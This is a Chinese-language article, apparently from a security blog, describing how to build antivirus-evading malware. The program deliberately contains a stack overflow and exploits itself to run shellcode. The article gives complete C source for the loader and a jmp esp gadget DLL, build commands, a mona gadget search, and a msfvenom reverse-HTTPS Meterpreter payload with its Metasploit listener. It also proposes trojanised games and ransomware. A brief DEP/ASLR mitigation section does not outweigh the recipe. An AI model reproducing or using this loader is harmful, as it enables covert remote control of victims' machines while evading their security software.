无Windows API的新型恶意程序:自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
字数 1600 2025-08-05 08:20:09

自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究

前言

本文介绍了一种新型恶意软件制作技术,通过故意在程序中制造栈溢出漏洞并利用该漏洞执行恶意代码,完全绕过传统杀毒软件的检测机制。该技术不使用任何Windows API函数,能够稳定地在所有Windows平台上执行恶意代码,实测可绕过微软Defender、360、天守安全软件、火绒、腾讯管家等主流杀毒软件。

技术原理

传统恶意程序执行流程

传统恶意软件通常采用以下流程:

  1. 分配内存
  2. 载入内存
  3. 将恶意代码变成执行程序
  4. 执行线程
  5. 等待线程执行完毕

新型攻击技术原理

攻击者故意在程序中留下栈溢出漏洞,当受害者运行程序时,程序会对自己触发栈溢出攻击,从而执行恶意代码,无需传统的内存分配、载入和执行线程等操作。

技术优势

  1. 无API调用:不使用任何Windows API函数,绕过行为检测
  2. 稳定性:解决了传统栈溢出攻击在不同系统环境下的不稳定问题
  3. 通用性:编译调试一次即可在所有Windows平台稳定运行
  4. 隐匿性:杀毒软件无法检测程序是否存在栈溢出漏洞

核心概念

栈溢出原理

程序运行时,系统会为程序在内存中分配固定空间(栈空间)。当输入数据超过这个空间时,会造成缓冲区溢出,可能覆盖关键寄存器值,从而控制程序执行流程。

关键寄存器

  • EIP寄存器:存储下一条要执行的指令地址(32位和16位程序)
  • ESP寄存器:栈指针寄存器,指向当前栈顶位置

NOP指令

NOP(No Operation)是不执行任何操作的空指令,常用于构建"滑梯"(NOP sled)以增加攻击成功率。

技术实现

整体思路

  1. 编写一个包含栈溢出漏洞的程序
  2. 通过DLL提供固定的jmp esp指令地址
  3. 利用栈溢出覆盖返回地址,跳转到jmp esp指令
  4. 执行放置在栈上的恶意代码

实现步骤

1. 编写自缺陷程序(sdp.c)

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void Function(char *Input);

int main(int argc, char *argv[]) {
    Vuln(); // 调用dll库函数确保编译时引用dll
    
    char buff[10000];
    memset(buff, 'A', 2012); // 溢出点在2012个字符
    
    char addr[] = "\x8c\x14\x50\x62"; // dll里jmp esp指令地址
    char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // nop滑梯
    
    unsigned char code[] = "shellcode"; // 直接使用msf生成的反向连接
    
    memcpy(buff + 2012, addr, sizeof(addr) - 1); // 覆盖返回地址
    memcpy(buff + 2012 + sizeof(addr) - 1, nop, sizeof(nop) - 1); // 添加nop滑梯
    memcpy(buff + 2012 + sizeof(addr) - 1 + sizeof(nop) - 1, code, sizeof(code) - 1); // 添加恶意代码
    
    Function(buff); // 触发缓冲区溢出
    return 0;
}

void Function(char *Input) {
    char Buffer2S[2000]; // 固定缓冲区大小,溢出点在2012个字符
    strcpy(Buffer2S, Input); // 调用strcpy触发缓冲区溢出
}

2. 编写DLL程序(fun.c)

#include <stdio.h>

void Vuln() {
    int a = 1; // 无意义函数,确保主程序引用dll
}

void Jmp_Esp() {
    __asm__("jmp *%esp\n\t"
            "jmp *%eax\n\t"
            "pop %eax\n\t"
            "pop %eax\n\t"
            "ret");
}

3. 编译DLL

gcc.exe -c fun.c -m32
gcc.exe -shared -o fun.dll -Wl,--out-implib=libessfun.a -Wl,--image-base=0x62500000 fun.o -m32

4. 查找jmp esp指令地址

使用Immunity Debugger和mona插件:

  1. 打开Immunity Debugger,拖入sdp.exe
  2. 在命令执行界面输入:
    !mona find -s "\xff\xe4" -m fun.dll
    
  3. 记录找到的jmp esp地址(如0x62501443),并在sdp.c中更新(注意小端序)

5. 编译主程序

gcc.exe sdp.c -o sdp.exe ./libessfun.a -m32 -mwindows

6. 生成shellcode

使用msfvenom生成反向连接payload:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=8011 EXITFUNC=thread -f c -a x86 -b "\x00"

7. 设置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.0.101
set lport 8011
set EXITFUNC thread
run

技术关键点

稳定性解决方案

  1. 固定DLL基地址:通过-Wl,--image-base=0x62500000指定DLL加载地址
  2. NOP滑梯:使用大量NOP指令增加执行成功概率
  3. jmp esp指令:通过DLL提供固定跳转点

通用性实现

  1. 不同系统环境下DLL加载地址固定
  2. 只需首次编译时确定jmp esp地址,后续只需修改shellcode

免杀优势

  1. 仅使用strcpy、memset、memcpy三个函数,无敏感API调用
  2. 恶意代码在运行时动态执行,静态分析难以检测
  3. 程序本身是"合法"程序,只是包含漏洞

检测与防护

检测方法

  1. 内存检测:监控进程内存中的异常代码执行
  2. 行为分析:检测异常的栈操作行为
  3. 漏洞扫描:静态分析查找潜在的缓冲区溢出漏洞

防护措施

  1. 启用DEP:数据执行保护可防止栈上代码执行
  2. 启用ASLR:地址空间布局随机化增加攻击难度
  3. 栈保护:使用编译器栈保护选项(如GS)
  4. 代码签名:验证程序完整性和来源

扩展应用

  1. 游戏修改:将恶意代码注入游戏程序,游戏运行时后台执行
  2. 勒索病毒:构建无API调用的勒索软件
  3. 持久化:结合其他技术实现长期驻留

总结

这种自缺陷程序技术代表了恶意软件发展的新方向,通过利用程序自身的漏洞而非外部注入来执行恶意代码,有效绕过了传统杀毒软件的检测机制。其简单性、稳定性和通用性使其成为极具威胁的攻击手段。防御此类攻击需要从内存保护、行为监控和漏洞修复等多方面入手。

自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究 前言 本文介绍了一种新型恶意软件制作技术,通过故意在程序中制造栈溢出漏洞并利用该漏洞执行恶意代码,完全绕过传统杀毒软件的检测机制。该技术不使用任何Windows API函数,能够稳定地在所有Windows平台上执行恶意代码,实测可绕过微软Defender、360、天守安全软件、火绒、腾讯管家等主流杀毒软件。 技术原理 传统恶意程序执行流程 传统恶意软件通常采用以下流程: 分配内存 载入内存 将恶意代码变成执行程序 执行线程 等待线程执行完毕 新型攻击技术原理 攻击者故意在程序中留下栈溢出漏洞,当受害者运行程序时,程序会对自己触发栈溢出攻击,从而执行恶意代码,无需传统的内存分配、载入和执行线程等操作。 技术优势 无API调用 :不使用任何Windows API函数,绕过行为检测 稳定性 :解决了传统栈溢出攻击在不同系统环境下的不稳定问题 通用性 :编译调试一次即可在所有Windows平台稳定运行 隐匿性 :杀毒软件无法检测程序是否存在栈溢出漏洞 核心概念 栈溢出原理 程序运行时,系统会为程序在内存中分配固定空间(栈空间)。当输入数据超过这个空间时,会造成缓冲区溢出,可能覆盖关键寄存器值,从而控制程序执行流程。 关键寄存器 EIP寄存器 :存储下一条要执行的指令地址(32位和16位程序) ESP寄存器 :栈指针寄存器,指向当前栈顶位置 NOP指令 NOP(No Operation)是不执行任何操作的空指令,常用于构建"滑梯"(NOP sled)以增加攻击成功率。 技术实现 整体思路 编写一个包含栈溢出漏洞的程序 通过DLL提供固定的jmp esp指令地址 利用栈溢出覆盖返回地址,跳转到jmp esp指令 执行放置在栈上的恶意代码 实现步骤 1. 编写自缺陷程序(sdp.c) 2. 编写DLL程序(fun.c) 3. 编译DLL 4. 查找jmp esp指令地址 使用Immunity Debugger和mona插件: 打开Immunity Debugger,拖入sdp.exe 在命令执行界面输入: 记录找到的jmp esp地址(如0x62501443),并在sdp.c中更新(注意小端序) 5. 编译主程序 6. 生成shellcode 使用msfvenom生成反向连接payload: 7. 设置监听 技术关键点 稳定性解决方案 固定DLL基地址 :通过 -Wl,--image-base=0x62500000 指定DLL加载地址 NOP滑梯 :使用大量NOP指令增加执行成功概率 jmp esp指令 :通过DLL提供固定跳转点 通用性实现 不同系统环境下DLL加载地址固定 只需首次编译时确定jmp esp地址,后续只需修改shellcode 免杀优势 仅使用strcpy、memset、memcpy三个函数,无敏感API调用 恶意代码在运行时动态执行,静态分析难以检测 程序本身是"合法"程序,只是包含漏洞 检测与防护 检测方法 内存检测 :监控进程内存中的异常代码执行 行为分析 :检测异常的栈操作行为 漏洞扫描 :静态分析查找潜在的缓冲区溢出漏洞 防护措施 启用DEP :数据执行保护可防止栈上代码执行 启用ASLR :地址空间布局随机化增加攻击难度 栈保护 :使用编译器栈保护选项(如GS) 代码签名 :验证程序完整性和来源 扩展应用 游戏修改 :将恶意代码注入游戏程序,游戏运行时后台执行 勒索病毒 :构建无API调用的勒索软件 持久化 :结合其他技术实现长期驻留 总结 这种自缺陷程序技术代表了恶意软件发展的新方向,通过利用程序自身的漏洞而非外部注入来执行恶意代码,有效绕过了传统杀毒软件的检测机制。其简单性、稳定性和通用性使其成为极具威胁的攻击手段。防御此类攻击需要从内存保护、行为监控和漏洞修复等多方面入手。